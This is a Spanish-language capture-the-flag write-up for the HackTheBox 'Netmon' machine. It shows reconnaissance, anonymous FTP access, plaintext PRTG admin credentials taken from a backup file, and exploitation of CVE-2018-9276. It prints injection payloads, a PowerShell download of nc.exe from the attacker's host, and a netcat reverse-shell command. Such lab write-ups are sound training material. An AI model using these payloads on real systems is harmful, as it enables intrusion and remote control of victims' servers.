{0x0} Introducción
Netmon es una máquina ubicada en HackTheBox que debemos vulnerar para conseguir las flags de usuario (user.txt) y root (root.txt) creada por mrb3n (miembro de equipo GuidePointSecurity) basada en Windows OS, os mostraremos los pasos que hemos dado.
{0x1} Reconocimiento
Antes de empezar ifconfig
a nuestra máquina de pentesting Kali Linux comprobando la conexión con la VPN privada a través de openvpn --config 1v4n.ovpn
asignándose la IP 10.10.14.192
. Y comenzamos descubriendo nuestra dirección IP con ifconfig
.
Y comprobamos que hay conexión con la máquina a vulnerar lanzado un ping -c 3
.
{0x2} Escaneo
Realizamos un escaneo de puertos para comprobar los servicios que están abiertos y corriendo en la máquina a vulnerar con nmap -A 10.10.10.152
.
Observamos abiertos los puertos con sus correspondientes servicios como el 21 (ftp), 80 (http), 135 (msrpc), 139 (netbios-ssn) y 445 (microsoft-ds) .
Detectamos la vulnerabilidad del servicio MS ftpd
que nos permitirá loguearnos y listar directorios con las credenciales anonymous:anonymous
Además tenemos el servicio http(80)
abierto y corriendo a Indy httpd 18.1.37.13946
servidor web del software Paessler PRTG bandwidth monitor.
Pasamos a configurar /etc/hosts añadiendo la línea 10.10.10.152 netmon.htb.
{0x3} Enumeración
Exploramos los directorios más interesantes vía ftp(21)
y nos encontramos con el comando ls -la
directorios interesantes como ProgramData, Windows y Users.
Descargamos con get
del directorio de C:\Windows el archivo restart.bat, script que reinicia PRTG NM copiando el archivo PRTG Configutation.dat en el directorio C:\ProgramData\Paessler\PRTG Network Monitor.
Paessler PRTG se instala por defecto en %programdata%\Paessler\PRTG Network Monitor, donde almacena información como configuraciones y backups. Nos centraremos en los archivos PRTG Configuration.* que pueden contener información sobre usuarios.
Observamos en el archivo de respaldo realizado en la fecha 07/14/2018 de la configuración PRTG Configuration.dat.old.bak datos de un usuario que almacena sin ningún tipo de cifrado con las credenciales prtgadmin:PrTg@dmin2018 que no son válidas.
Examinamos el directorio de Users y nos percatamos que no somos administradores pero que sí tenemos acceso a la carpeta Public donde tenemos ubicado el archivo user.txt.
Nos centramos en el servicio http (80)
enumerando directorios accesibles con la herramienta Dirhunt y HTTPie obteniendo la información de la versión de PRTG que es 18.1.37.13946 con un sistema de autentificación por login y la cuenta UA-154425-18 de Google Analytics.
PRTG NM en la máquina Netmon es vulnerable siempre que tengamos acceso a la consola web de administrador para explotar la vulnerabilidad de inyección de comandos del sistema operativo (RCE) CVE-2018-9276 y una denegación de servicio (DDoS) CVE-2018-10253
Según la información en PEASSLER probamos las credenciales por defecto en el login de la web de administración del PRTG NM (prtgadmin:prtgadmin) pero no son válidas.
Retomando las credenciales encontradas en el archivo de respaldo realizado en el año 2018 de la configuración del PRTG, probamos otras credenciales siendo el usuario admin prtgadmin y el algoritmo de la contraseña PrTg@dmin[Año]. Conseguimos la credencial válida a la administración web con prtgadmin:PrTg@dmin2019 ayudándonos de BurpSuite > Repeater
.
{0x4} Acceso
Accedemos con éxito a /Users/Public/ y a través del comando get
obtenemos user.txt.
Y conseguimos tener acceso a user.txt > dd58ce67b49e15105e88096c8d9255a5.
[!] Hash function : MD5 > 822722093
Pasamos a acceder a la administración web con las credenciales prtgadmin:PrTg@dmin2019 en la URL http://netmon.htb/public/login.html.
Ya autenticados nos movemos a Setup > Notifications > Email and push notification to admin
.
Activando la opción Execute Program > Demo exe notification - outfile.ps1
> Ejecutamos un test introduciendo el siguiente script en Parameter text.txt; mkdir c:\users\public\testing > Save > Send test Notification
.
Comprobamos a través de ftp (21)
que se crea el directorio testing en C:\Users\Public y confirmamos que la vulnerabilidad CVE-2018-9276 está activa.
Decidimos volver a realizar un script, pero invocando al archivo root.txt que se encuentra ubicado en C:\Administrator\Desktop:
text.txt; Copy-item "C:\Users\Administrator\Desktop\root.txt" -Destination "C:\Users\Public\testing\1v4n.txt"
Y ahí está root.txt > 3018977fb944bf1878f75b879fba67cc
[!] Hash function : MD5 > 196851845
{0x5} Privesc
Aunque hemos obtenido las flags de user.txt y root.txt, a máquina Netmon la hemos comprometido pero no hemos podido tomar su control o realizar una Escalada de Privilegios (Privesc). Y nos ponemos a ello.
Hacemos un script invocando en Netmon a nc.exe (netcat) que hemos ubicado en un servidor web de la máquina atacante:
text.txt; powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.192:8080/nc.exe','C:\Users\Public\testing\nc.exe')"
Reubicamos en la máquina Netmon a nc.exe
en el directorio de Administrator y lo ejecutamos:
text.txt; Copy-item "C:\Users\public\testing\nc.exe" -Destination "C:\Users\administrator\nc.exe"
test.txt; C:\users\administrator\desktop\nc.exe 10.10.14.192 4444 -e cmd.exe
Conseguimos tomar el control y de nuevo ahí está root.txt > 3018977fb944bf1878f75b879fba67cc